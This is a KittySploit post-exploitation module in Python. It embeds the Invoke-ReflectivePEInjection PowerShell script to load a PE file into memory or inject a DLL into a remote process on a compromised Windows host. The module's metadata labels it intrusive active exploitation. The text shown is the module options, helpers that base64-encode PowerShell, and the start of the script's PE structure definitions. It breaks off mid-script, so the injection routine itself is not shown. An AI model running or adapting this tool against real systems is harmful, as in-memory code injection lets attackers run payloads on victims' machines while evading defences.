Invoke-ReflectivePEInjection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
import base64
import os
class Module(Post):
__info__ = {
"name": "Invoke-ReflectivePEInjection",
"description": "Reflectively loads a Windows PE file (DLL/EXE) into the PowerShell process, or injects a DLL into a remote process.",
"author": "Joe Bialek, Matt Graeber, KittySploit",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
pe_file = OptFile("", "Local path to the PE file (DLL/EXE) to inject", True)
proc_id = OptInteger(0, "Process ID of the remote process to inject the DLL into", False)
proc_name = OptString("", "Name of the remote process to inject the DLL into", False)
exe_args = OptString("", "Arguments to pass to the executable being reflectively loaded", False)
func_return_type = OptString("Void", "Return type of the function being called in the DLL (String, WString, Void)", False)
force_aslr = OptBool(False, "Force the use of ASLR on the PE being loaded", False)
do_not_zero_mz = OptBool(False, "Do not wipe the MZ from the first two bytes of the PE", False)
def _execute_cmd(self, command: str) -> str:
if not command:
return ""
output = self.cmd_execute(command)
return output.strip() if output else ""
def _remote_temp_dir(self) -> str:
output = self._execute_cmd("echo %TEMP%")
if output:
return output.splitlines()[0].strip().rstrip("\\")
return "C:\\Windows\\Temp"
def _encode_powershell(self, script: str) -> str:
return base64.b64encode(script.encode("utf-16le")).decode("ascii")
def run(self):
# Read the PE file
try:
with open(self.pe_file, "rb") as f:
pe_bytes = f.read()
except Exception as e:
print_error(f"Failed to read PE file: {e}")
return False
ps1_script = r"""function Invoke-ReflectivePEInjection
{
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[Byte[]]
$PEBytes,
[Parameter(Position = 1)]
[String[]]
$ComputerName,
[Parameter(Position = 2)]
[ValidateSet( 'WString', 'String', 'Void' )]
[String]
$FuncReturnType = 'Void',
[Parameter(Position = 3)]
[String]
$ExeArgs,
[Parameter(Position = 4)]
[Int32]
$ProcId,
[Parameter(Position = 5)]
[String]
$ProcName,
[Switch]
$ForceASLR,
[Switch]
$DoNotZeroMZ
)
Set-StrictMode -Version 2
$RemoteScriptBlock = {
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$FuncReturnType,
[Parameter(Position = 2, Mandatory = $true)]
[Int32]
$ProcId,
[Parameter(Position = 3, Mandatory = $true)]
[String]
$ProcName,
[Parameter(Position = 4, Mandatory = $true)]
[Bool]
$ForceASLR
)
Function Get-Win32Types
{
$Win32Types = New-Object System.Object
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
$MachineType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
$MagicType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
$e_resField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
$e_res2Field.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
